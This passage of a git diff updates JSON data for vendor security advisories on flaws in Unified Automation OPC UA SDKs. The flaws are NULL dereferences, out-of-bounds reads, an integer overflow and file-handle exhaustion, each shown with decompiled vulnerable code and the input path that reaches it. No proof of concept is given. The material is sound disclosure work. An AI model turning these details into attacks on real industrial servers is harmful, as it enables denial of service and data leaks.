void __cdecl UaInt32Array::create(UaInt32Array *const this, OpcUa_UInt32_0 length)\n{\n UaInt32Array::clear(this);\n if ( length )\n {\n this->m_data = (OpcUa_Int32_0 *)OpcUa_Memory_Alloc(4 * length);\n memset(this->m_data, 0, 4LL * length);\n this->m_noOfElements = length;\n }\n}\nThere is a call to memset() after OpcUa_Memory_Alloc() is called without checking if this->m_data is NULL. It might be NULL if the requested length is too big.
UaInt32Array::create() is called from PubSubServer::DataSetDispatcherDataItemTargetVariable::DataSetDispatcherDataItemTargetVariable() when parsing a fieldMetadata.ValueRank that is passed in a PubSubConfig that will eventually end up in the length parameter.
PoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"Medium severity. The UaInt32Array::create() function in Unified Automation C based PubSub Stack is vulnerable to NULL dereference which can allow an authenticated remote attacker to cause denial of service","date_published":"2022-06-01","xray_id":"XRAY-75753","vul_id":"","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Unified Automation PubSub stack NULL dereference DoS","path":"/vulnerabilities/ua-cpp-ua-int32-null-deref-xray-75753/","content":"Summary
\nThe UaInt32Array::create() function in Unified Automation C based PubSub Stack is vulnerable to NULL dereference which can allow a remote attacker to cause denial of service
\nComponent
\nUnified Automation C++ Based OPC UA PubSub SDK\nUnified Automation ANSI C Based OPC UA Client & Server SDK\nUnified Automation HighPerf SDK
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\nUnified Automation AnsiC SDK (, 1.9.2], fixed in 1.9.3\nUnified Automation HighPerf SDK (, 1.5.2], fixed in 1.6.0
\nDescription
\nUnified Automation is a Bundle used to develop an OPC UA PubSub support in C++ and C, Developed by the Unified Automation.
\nThere is a possible NULL deref in UaInt32Array::create():
void __cdecl UaInt32Array::create(UaInt32Array *const this, OpcUa_UInt32_0 length)\n{\n UaInt32Array::clear(this);\n if ( length )\n {\n this->m_data = (OpcUa_Int32_0 *)OpcUa_Memory_Alloc(4 * length);\n memset(this->m_data, 0, 4LL * length);\n this->m_noOfElements = length;\n }\n}\nThere is a call to memset() after OpcUa_Memory_Alloc() is called without checking if this->m_data is NULL. It might be NULL if the requested length is too big.
UaInt32Array::create() is called from PubSubServer::DataSetDispatcherDataItemTargetVariable::DataSetDispatcherDataItemTargetVariable() when parsing a fieldMetadata.ValueRank that is passed in a PubSubConfig that will eventually end up in the length parameter.
PoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"Medium severity. The UaInt32Array::create() function in Unified Automation C based PubSub Stack is vulnerable to NULL dereference which can allow an authenticated remote attacker to cause denial of service","date_published":"2022-06-01","xray_id":"XRAY-75753","vul_id":"","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/ua-cpp-uaunistring-1-byte-oob-xray-75754/index.json b/assets/data/vulnerabilities/ua-cpp-uaunistring-1-byte-oob-xray-75754/index.json index 4aac68082d..ea4f561bda 100644 --- a/assets/data/vulnerabilities/ua-cpp-uaunistring-1-byte-oob-xray-75754/index.json +++ b/assets/data/vulnerabilities/ua-cpp-uaunistring-1-byte-oob-xray-75754/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Unified Automation C++ based OPC UA Client Server SDK 1-byte out of bounds read","path":"/vulnerabilities/ua-cpp-uaunistring-1-byte-oob-xray-75754/","content":"Summary
\nThe UaString::toUtf16() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to 1-byte out of bound read issue which can allow a remote unauthenticated attacker to perform Denial of Service
\nComponent
\nUnified Automation C++ based OPC UA Client Server SDK\n
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\n
\nDescription
\nUnified Automation C++ based OPC UA Client Server SDK is a SDK used to develop an OPC UA server in C++, Developed by the Unified Automation.
\nThe UaString::toUtf16 function may be vulnerable to 1-byte out of bound read vulnerability:
UaByteArray *__thiscall UaString::toUtf16(UaString *this, UaByteArray *result)\n{\n UaByteArray *v2; // eax\n unsigned int *v3; // [esp+Ch] [ebp-70h]\n unsigned int *v4; // [esp+10h] [ebp-6Ch]\n unsigned int *v5; // [esp+14h] [ebp-68h]\n unsigned int *v6; // [esp+18h] [ebp-64h]\n unsigned int *v7; // [esp+1Ch] [ebp-60h]\n UaByteArray resulta; // [esp+28h] [ebp-54h]\n unsigned __int16 cValTmp; // [esp+30h] [ebp-4Ch]\n unsigned int cVal; // [esp+34h] [ebp-48h]\n int iLenUsed; // [esp+38h] [ebp-44h]\n unsigned __int16 *pUTF16Data; // [esp+3Ch] [ebp-40h]\n char c; // [esp+43h] [ebp-39h]\n int i; // [esp+44h] [ebp-38h]\n UaUInt32Array unicodeCharacters; // [esp+4Ch] [ebp-30h]\n int uniCodeLen; // [esp+5Ch] [ebp-20h]\n int iLen; // [esp+60h] [ebp-1Ch]\n char *pOther; // [esp+64h] [ebp-18h]\n const UaStringPrivate *d; // [esp+68h] [ebp-14h]\n const UaString *thisa; // [esp+6Ch] [ebp-10h]\n int v21; // [esp+78h] [ebp-4h]\n\n thisa = this;\n d = UaString::d_func(this);\n pOther = OpcUa_String_GetRawString(d);\n iLen = UaStringPrivate::size(d);\n if ( pOther )\n {\n uniCodeLen = 0;\n UaUInt32Array::UaUInt32Array(&unicodeCharacters);\n v21 = 0;\n UaUInt32Array::resize(&unicodeCharacters, iLen);\n for ( i = 0; i < iLen; ++i )\n {\n c = pOther[i];\n if ( c >= 128 )\n {\n if ( (c & 0xE0) == 192 )\n {\n *UaUInt32Array::operator[](&unicodeCharacters, uniCodeLen) = (c & 0x1F) << 6;\n c = pOther[++i];\n v7 = UaUInt32Array::operator[](&unicodeCharacters, uniCodeLen);\n *v7 |= c & 0x3F;\n ++uniCodeLen;\n }\n else if ( (c & 0xF0) == 0xE0 )\n {\n *UaUInt32Array::operator[](&unicodeCharacters, uniCodeLen) = (c & 0xF) << 12;\n c = pOther[++i];\n v6 = UaUInt32Array::operator[](&unicodeCharacters, uniCodeLen);\n *v6 |= (c & 0x3F) << 6;\n c = pOther[++i];\n v5 = UaUInt32Array::operator[](&unicodeCharacters, uniCodeLen);\n *v5 |= c & 0x3F;\n ++uniCodeLen;\n }\n…\nThe function uses i to access the string stored in this when the character read is 0xE0 it read 2 other characters without checking that i doesn’t pass the iLen size, this can cause one byte out of bound read after the NULL terminator of the string.\nThis can cause denial of service if the string is located near a non accessible page.
PoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"Medium severity. The UaString::toUtf16() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to 1-byte out of bound read issue which can allow a remote unauthenticated attacker to perform Denial of Service","date_published":"2022-06-01","xray_id":"XRAY-75754","vul_id":"","severity":"medium","discovered_by":"Omer Kaspi","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Unified Automation C++ based OPC UA Client Server SDK 1-byte out of bounds read","path":"/vulnerabilities/ua-cpp-uaunistring-1-byte-oob-xray-75754/","content":"Summary
\nThe UaString::toUtf16() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to 1-byte out of bound read issue which can allow a remote unauthenticated attacker to perform Denial of Service
\nComponent
\nUnified Automation C++ based OPC UA Client Server SDK\n
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\n
\nDescription
\nUnified Automation C++ based OPC UA Client Server SDK is a SDK used to develop an OPC UA server in C++, Developed by the Unified Automation.
\nThe UaString::toUtf16 function may be vulnerable to 1-byte out of bound read vulnerability:
UaByteArray *__thiscall UaString::toUtf16(UaString *this, UaByteArray *result)\n{\n UaByteArray *v2; // eax\n unsigned int *v3; // [esp+Ch] [ebp-70h]\n unsigned int *v4; // [esp+10h] [ebp-6Ch]\n unsigned int *v5; // [esp+14h] [ebp-68h]\n unsigned int *v6; // [esp+18h] [ebp-64h]\n unsigned int *v7; // [esp+1Ch] [ebp-60h]\n UaByteArray resulta; // [esp+28h] [ebp-54h]\n unsigned __int16 cValTmp; // [esp+30h] [ebp-4Ch]\n unsigned int cVal; // [esp+34h] [ebp-48h]\n int iLenUsed; // [esp+38h] [ebp-44h]\n unsigned __int16 *pUTF16Data; // [esp+3Ch] [ebp-40h]\n char c; // [esp+43h] [ebp-39h]\n int i; // [esp+44h] [ebp-38h]\n UaUInt32Array unicodeCharacters; // [esp+4Ch] [ebp-30h]\n int uniCodeLen; // [esp+5Ch] [ebp-20h]\n int iLen; // [esp+60h] [ebp-1Ch]\n char *pOther; // [esp+64h] [ebp-18h]\n const UaStringPrivate *d; // [esp+68h] [ebp-14h]\n const UaString *thisa; // [esp+6Ch] [ebp-10h]\n int v21; // [esp+78h] [ebp-4h]\n\n thisa = this;\n d = UaString::d_func(this);\n pOther = OpcUa_String_GetRawString(d);\n iLen = UaStringPrivate::size(d);\n if ( pOther )\n {\n uniCodeLen = 0;\n UaUInt32Array::UaUInt32Array(&unicodeCharacters);\n v21 = 0;\n UaUInt32Array::resize(&unicodeCharacters, iLen);\n for ( i = 0; i < iLen; ++i )\n {\n c = pOther[i];\n if ( c >= 128 )\n {\n if ( (c & 0xE0) == 192 )\n {\n *UaUInt32Array::operator[](&unicodeCharacters, uniCodeLen) = (c & 0x1F) << 6;\n c = pOther[++i];\n v7 = UaUInt32Array::operator[](&unicodeCharacters, uniCodeLen);\n *v7 |= c & 0x3F;\n ++uniCodeLen;\n }\n else if ( (c & 0xF0) == 0xE0 )\n {\n *UaUInt32Array::operator[](&unicodeCharacters, uniCodeLen) = (c & 0xF) << 12;\n c = pOther[++i];\n v6 = UaUInt32Array::operator[](&unicodeCharacters, uniCodeLen);\n *v6 |= (c & 0x3F) << 6;\n c = pOther[++i];\n v5 = UaUInt32Array::operator[](&unicodeCharacters, uniCodeLen);\n *v5 |= c & 0x3F;\n ++uniCodeLen;\n }\n…\nThe function uses i to access the string stored in this when the character read is 0xE0 it read 2 other characters without checking that i doesn’t pass the iLen size, this can cause one byte out of bound read after the NULL terminator of the string.\nThis can cause denial of service if the string is located near a non accessible page.
PoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"Medium severity. The UaString::toUtf16() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to 1-byte out of bound read issue which can allow a remote unauthenticated attacker to perform Denial of Service","date_published":"2022-06-01","xray_id":"XRAY-75754","vul_id":"","severity":"medium","discovered_by":"Omer Kaspi","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/ua-cpp-uaunistring-infoleak-xray-75755/index.json b/assets/data/vulnerabilities/ua-cpp-uaunistring-infoleak-xray-75755/index.json index a2923f3f21..323ac3d85b 100644 --- a/assets/data/vulnerabilities/ua-cpp-uaunistring-infoleak-xray-75755/index.json +++ b/assets/data/vulnerabilities/ua-cpp-uaunistring-infoleak-xray-75755/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Unified Automation C++ based OPC UA Client Server SDK out of bounds read","path":"/vulnerabilities/ua-cpp-uaunistring-infoleak-xray-75755/","content":"Summary
\nThe UaUniString::UaUniString() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to out of bounds read issue which can allow a remote authenticated attacker to perform information leak of technical data
\nComponent
\nUnified Automation C++ based OPC UA Client Server SDK\n
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\n
\nDescription
\nUnified Automation C++ based OPC UA Client Server SDK is a SDK used to develop an OPC UA server in C++, Developed by the Unified Automation.
\nThe UaUniString::UaUniString function is vulnerable to an out of bounds read vulnerability:
void __thiscall UaUniString::UaUniString(UaUniString *this, const char *other)\n{\n…\n\n thisa = this;\n if ( other )\n {\n iWLen = 0;\n for ( i = 0; other[i]; ++i )\n {\n c = other[i];\n if ( c >= 128 )\n {\n if ( (c & 0xE0) == '\\xC0' )\n {\n ++i;\n ++iWLen;\n }\n else if ( (c & 0xF0) == '\\xE0' )\n {\n i += 2;\n ++iWLen;\n }\n else if ( (c & 0xF8) == '\\xF0' )\n {\n i += 3;\n ++iWLen;\n }\n else if ( (c & 0xFC) == '\\xF8' )\n {\n i += 4;\n ++iWLen;\n }\n else if ( (c & 0xFE) == '\\xFC' )\n {\n i += 5;\n ++iWLen;\n }\n }\n else\n {\n ++iWLen;\n }\n }\n iLen = i;\n pData = OpcUa_Memory_Alloc(2 * iWLen + 2);\n iLenUsed = 0;\n for ( ia = 0; ia <= iLen; ++ia )\n {\n v5 = other[ia];\n if ( v5 >= 0x80 )\n {\n …\n else if ( (v5 & 0xF8) == '\\xF0' )\n {\n pData[iLenUsed++] = '?';\n ia += 3;\n }\n else if ( (v5 & 0xFC) == '\\xF8' )\n {\n pData[iLenUsed++] = '?';\n ia += 4;\n }\n else if ( (v5 & 0xFE) == '\\xFC' )\n {\n pData[iLenUsed++] = '?';\n ia += 5;\n }\n }\n else\n {\n pData[iLenUsed++] = other[ia];\n }\n }\nThe function calculates in the first loop the length of the converted string which is iWLen, when it gets to a special character(for example 0xE0) it increments the index of other in more than 1 without checking if it would skip over the other’s null terminator thus calculating a length bigger than the original string’s length.\nThe function allocates the new utf16 array for the converted string based on iWLen\nLater, the second loop copies the string with the length that was calculated before, this would copy any character under 0x80 into the new buffer except some special characters that would be returned as ‘?’.\nBecause the new string buffer will be written up to iLen which is the out of bound length the new string will contain data that is after the original string, in the heap.\nBy using the index_range parameter in a \"Read\" request in the OPC UA protocol, the server calls this function and returns the data to the client.
PoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"Medium severity. The UaUniString::UaUniString() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to out of bounds read issue which can allow a remote authenticated attacker to perform information leak of technical data","date_published":"2022-06-01","xray_id":"XRAY-75755","vul_id":"","severity":"medium","discovered_by":"Omer Kaspi","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Unified Automation C++ based OPC UA Client Server SDK out of bounds read","path":"/vulnerabilities/ua-cpp-uaunistring-infoleak-xray-75755/","content":"Summary
\nThe UaUniString::UaUniString() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to out of bounds read issue which can allow a remote authenticated attacker to perform information leak of technical data
\nComponent
\nUnified Automation C++ based OPC UA Client Server SDK\n
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\n
\nDescription
\nUnified Automation C++ based OPC UA Client Server SDK is a SDK used to develop an OPC UA server in C++, Developed by the Unified Automation.
\nThe UaUniString::UaUniString function is vulnerable to an out of bounds read vulnerability:
void __thiscall UaUniString::UaUniString(UaUniString *this, const char *other)\n{\n…\n\n thisa = this;\n if ( other )\n {\n iWLen = 0;\n for ( i = 0; other[i]; ++i )\n {\n c = other[i];\n if ( c >= 128 )\n {\n if ( (c & 0xE0) == '\\xC0' )\n {\n ++i;\n ++iWLen;\n }\n else if ( (c & 0xF0) == '\\xE0' )\n {\n i += 2;\n ++iWLen;\n }\n else if ( (c & 0xF8) == '\\xF0' )\n {\n i += 3;\n ++iWLen;\n }\n else if ( (c & 0xFC) == '\\xF8' )\n {\n i += 4;\n ++iWLen;\n }\n else if ( (c & 0xFE) == '\\xFC' )\n {\n i += 5;\n ++iWLen;\n }\n }\n else\n {\n ++iWLen;\n }\n }\n iLen = i;\n pData = OpcUa_Memory_Alloc(2 * iWLen + 2);\n iLenUsed = 0;\n for ( ia = 0; ia <= iLen; ++ia )\n {\n v5 = other[ia];\n if ( v5 >= 0x80 )\n {\n …\n else if ( (v5 & 0xF8) == '\\xF0' )\n {\n pData[iLenUsed++] = '?';\n ia += 3;\n }\n else if ( (v5 & 0xFC) == '\\xF8' )\n {\n pData[iLenUsed++] = '?';\n ia += 4;\n }\n else if ( (v5 & 0xFE) == '\\xFC' )\n {\n pData[iLenUsed++] = '?';\n ia += 5;\n }\n }\n else\n {\n pData[iLenUsed++] = other[ia];\n }\n }\nThe function calculates in the first loop the length of the converted string which is iWLen, when it gets to a special character(for example 0xE0) it increments the index of other in more than 1 without checking if it would skip over the other’s null terminator thus calculating a length bigger than the original string’s length.\nThe function allocates the new utf16 array for the converted string based on iWLen\nLater, the second loop copies the string with the length that was calculated before, this would copy any character under 0x80 into the new buffer except some special characters that would be returned as ‘?’.\nBecause the new string buffer will be written up to iLen which is the out of bound length the new string will contain data that is after the original string, in the heap.\nBy using the index_range parameter in a \"Read\" request in the OPC UA protocol, the server calls this function and returns the data to the client.
PoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"Medium severity. The UaUniString::UaUniString() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to out of bounds read issue which can allow a remote authenticated attacker to perform information leak of technical data","date_published":"2022-06-01","xray_id":"XRAY-75755","vul_id":"","severity":"medium","discovered_by":"Omer Kaspi","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/ua-cpp-uavariant-null-deref-xray-75756/index.json b/assets/data/vulnerabilities/ua-cpp-uavariant-null-deref-xray-75756/index.json index 1f1b9b3288..323e21022d 100644 --- a/assets/data/vulnerabilities/ua-cpp-uavariant-null-deref-xray-75756/index.json +++ b/assets/data/vulnerabilities/ua-cpp-uavariant-null-deref-xray-75756/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Unified Automation C++ based OPC UA Client Server SDK out of bounds read","path":"/vulnerabilities/ua-cpp-uavariant-null-deref-xray-75756/","content":"Summary
\nThe UaVariant::cloneTo() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to NULL dereference which can allow a remote authenticated attacker to perform denial of service.
\nComponent
\nUnified Automation C++ based OPC UA Client Server SDK\n
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\n
\nDescription
\nUnified Automation C++ based OPC UA Client Server SDK is a SDK used to develop an OPC UA server in C++, Developed by the Unified Automation.
\nThere is a possible null deref in UaVariant::cloneTo():
…\n if ( source->Value.Matrix.NoOfDimensions > 0 )\n {\n copy->Value.Matrix.Dimensions = (int *)OpcUa_Memory_Alloc(4 * source->Value.Matrix.NoOfDimensions);\n memcpy(copy->Value.Matrix.Dimensions, source->Value.Matrix.Dimensions, 4 * source->Value.Matrix.NoOfDimensions);\n nMatrixElements = 1;\n for ( mm = 0; mm < copy->Value.Matrix.NoOfDimensions; ++mm )\n nMatrixElements *= source->Value.Matrix.Dimensions[mm];\n…\nThere is a call to memcpy() after OpcUa_Memory_Alloc() is called without checking if copy->Value.Matrix.Dimensions is null. It might be null if the requested length is too big.
PoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"Medium severity. The UaVariant::cloneTo() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to NULL dereference which can allow a remote authenticated attacker to perform denial of service.","date_published":"2022-06-01","xray_id":"XRAY-75756","vul_id":"","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Unified Automation C++ based OPC UA Client Server SDK out of bounds read","path":"/vulnerabilities/ua-cpp-uavariant-null-deref-xray-75756/","content":"Summary
\nThe UaVariant::cloneTo() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to NULL dereference which can allow a remote authenticated attacker to perform denial of service.
\nComponent
\nUnified Automation C++ based OPC UA Client Server SDK\n
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\n
\nDescription
\nUnified Automation C++ based OPC UA Client Server SDK is a SDK used to develop an OPC UA server in C++, Developed by the Unified Automation.
\nThere is a possible null deref in UaVariant::cloneTo():
…\n if ( source->Value.Matrix.NoOfDimensions > 0 )\n {\n copy->Value.Matrix.Dimensions = (int *)OpcUa_Memory_Alloc(4 * source->Value.Matrix.NoOfDimensions);\n memcpy(copy->Value.Matrix.Dimensions, source->Value.Matrix.Dimensions, 4 * source->Value.Matrix.NoOfDimensions);\n nMatrixElements = 1;\n for ( mm = 0; mm < copy->Value.Matrix.NoOfDimensions; ++mm )\n nMatrixElements *= source->Value.Matrix.Dimensions[mm];\n…\nThere is a call to memcpy() after OpcUa_Memory_Alloc() is called without checking if copy->Value.Matrix.Dimensions is null. It might be null if the requested length is too big.
PoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"Medium severity. The UaVariant::cloneTo() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to NULL dereference which can allow a remote authenticated attacker to perform denial of service.","date_published":"2022-06-01","xray_id":"XRAY-75756","vul_id":"","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/ua-cpp-uavariant-oob-read-xray-75757/index.json b/assets/data/vulnerabilities/ua-cpp-uavariant-oob-read-xray-75757/index.json index baa47c4f56..07b0b28f82 100644 --- a/assets/data/vulnerabilities/ua-cpp-uavariant-oob-read-xray-75757/index.json +++ b/assets/data/vulnerabilities/ua-cpp-uavariant-oob-read-xray-75757/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Unified Automation C++ based OPC UA Client Server SDK out of bounds read","path":"/vulnerabilities/ua-cpp-uavariant-oob-read-xray-75757/","content":"Summary
\nThe UaVariant::cloneTo() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to of out bounds read issue which can allow a remote authenticated attacker to perform denial of service.
\nComponent
\nUnified Automation C++ based OPC UA Client Server SDK\n
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\n
\nDescription
\nUnified Automation C++ based OPC UA Client Server SDK is a SDK used to develop an OPC UA server in C++, Developed by the Unified Automation.
\nThere is a possible read out of bounds in UaVariant::cloneTo():
…\n if ( source->Value.Matrix.NoOfDimensions > 0 )\n {\n copy->Value.Matrix.Dimensions = (int *)OpcUa_Memory_Alloc(4 * source->Value.Matrix.NoOfDimensions);\n memcpy(copy->Value.Matrix.Dimensions, source->Value.Matrix.Dimensions, 4 * source->Value.Matrix.NoOfDimensions);\n nMatrixElements = 1;\n for ( mm = 0; mm < copy->Value.Matrix.NoOfDimensions; ++mm )\n nMatrixElements *= source->Value.Matrix.Dimensions[mm];\n…\nThere is an integer overflow here if source->Value.Matrix.NoOfDimensions is 0x40000000 or bigger. For example with the value 0x40000001 the allocated size will be 0x4. This function is called from UaVariant::operator=() which is called from PubSubServer::DataSetDispatcherDataItemTargetVariable::DataSetDispatcherDataItemTargetVariable():
if ( valueRank >= 0 )\n {\n if ( valueRank && valueRank != 1 )\n {\n OpcUa_Variant_Initialize(&vVal);\n vVal.ArrayType = 2;\n vVal.Datatype = builtInType;\n UaInt32Array::UaInt32Array(&dimensions);\n LOBYTE(v39) = 15;\n UaInt32Array::create(&dimensions, valueRank);\n vVal.Value.Matrix.NoOfDimensions = valueRank;\n vVal.Value.Matrix.Dimensions = UaInt32Array::detach(&dimensions);\n UaVariant::operator=(&intialValue, &vVal);\nPoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"Medium severity. The UaVariant::cloneTo() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to of out bounds read issue which can allow a remote authenticated attacker to perform denial of service.","date_published":"2022-06-01","xray_id":"XRAY-75757","vul_id":"","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Unified Automation C++ based OPC UA Client Server SDK out of bounds read","path":"/vulnerabilities/ua-cpp-uavariant-oob-read-xray-75757/","content":"Summary
\nThe UaVariant::cloneTo() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to of out bounds read issue which can allow a remote authenticated attacker to perform denial of service.
\nComponent
\nUnified Automation C++ based OPC UA Client Server SDK\n
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\n
\nDescription
\nUnified Automation C++ based OPC UA Client Server SDK is a SDK used to develop an OPC UA server in C++, Developed by the Unified Automation.
\nThere is a possible read out of bounds in UaVariant::cloneTo():
…\n if ( source->Value.Matrix.NoOfDimensions > 0 )\n {\n copy->Value.Matrix.Dimensions = (int *)OpcUa_Memory_Alloc(4 * source->Value.Matrix.NoOfDimensions);\n memcpy(copy->Value.Matrix.Dimensions, source->Value.Matrix.Dimensions, 4 * source->Value.Matrix.NoOfDimensions);\n nMatrixElements = 1;\n for ( mm = 0; mm < copy->Value.Matrix.NoOfDimensions; ++mm )\n nMatrixElements *= source->Value.Matrix.Dimensions[mm];\n…\nThere is an integer overflow here if source->Value.Matrix.NoOfDimensions is 0x40000000 or bigger. For example with the value 0x40000001 the allocated size will be 0x4. This function is called from UaVariant::operator=() which is called from PubSubServer::DataSetDispatcherDataItemTargetVariable::DataSetDispatcherDataItemTargetVariable():
if ( valueRank >= 0 )\n {\n if ( valueRank && valueRank != 1 )\n {\n OpcUa_Variant_Initialize(&vVal);\n vVal.ArrayType = 2;\n vVal.Datatype = builtInType;\n UaInt32Array::UaInt32Array(&dimensions);\n LOBYTE(v39) = 15;\n UaInt32Array::create(&dimensions, valueRank);\n vVal.Value.Matrix.NoOfDimensions = valueRank;\n vVal.Value.Matrix.Dimensions = UaInt32Array::detach(&dimensions);\n UaVariant::operator=(&intialValue, &vVal);\nPoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"Medium severity. The UaVariant::cloneTo() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to of out bounds read issue which can allow a remote authenticated attacker to perform denial of service.","date_published":"2022-06-01","xray_id":"XRAY-75757","vul_id":"","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/ua-cpp-unlimited-file-handles-dos-xray-75758/index.json b/assets/data/vulnerabilities/ua-cpp-unlimited-file-handles-dos-xray-75758/index.json index 551f9158a2..bbeb243744 100644 --- a/assets/data/vulnerabilities/ua-cpp-unlimited-file-handles-dos-xray-75758/index.json +++ b/assets/data/vulnerabilities/ua-cpp-unlimited-file-handles-dos-xray-75758/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Unified Automation C++ based OPC UA Client Server SDK unlimited file descriptors","path":"/vulnerabilities/ua-cpp-unlimited-file-handles-dos-xray-75758/","content":"Summary
\nThe Unified Automation C++ based OPC UA Client Server SDK for Linux is susceptible to denial of service when a remote authenticated attacker opens a large amount of file descriptors
\nComponent
\nUnified Automation C++ based OPC UA Client Server SDK\n
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\n
\nDescription
\nUnified Automation C++ based OPC UA Client Server SDK is a SDK used to develop an OPC UA server in C++, Developed by the Unified Automation.
\nIn the Unified Automation C++-based OPC UA Demo Server, there is an exported object named readwrite.txt, it contains a function called Open() which opens the file.\nWhenever this function is called (with mode=1) it calls fopen() without checking if this file is already open.\nCalling this function X times will result in X open file descriptors.\nHowever, a limitation in Linux is set by default so that only 1024 files can be opened.\nSince under Linux a socket is also a file, once the process reaches its limit it will not be able to accept new network connections.
There was no root cause analysis conducted on the SDK itself
\nPoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"Medium severity. The Unified Automation C++ based OPC UA Client Server SDK for Linux is susceptible to denial of service when a remote authenticated attacker opens a large amount of file descriptors","date_published":"2022-06-01","xray_id":"XRAY-75758","vul_id":"","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Unified Automation C++ based OPC UA Client Server SDK unlimited file descriptors","path":"/vulnerabilities/ua-cpp-unlimited-file-handles-dos-xray-75758/","content":"Summary
\nThe Unified Automation C++ based OPC UA Client Server SDK for Linux is susceptible to denial of service when a remote authenticated attacker opens a large amount of file descriptors
\nComponent
\nUnified Automation C++ based OPC UA Client Server SDK\n
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\n
\nDescription
\nUnified Automation C++ based OPC UA Client Server SDK is a SDK used to develop an OPC UA server in C++, Developed by the Unified Automation.
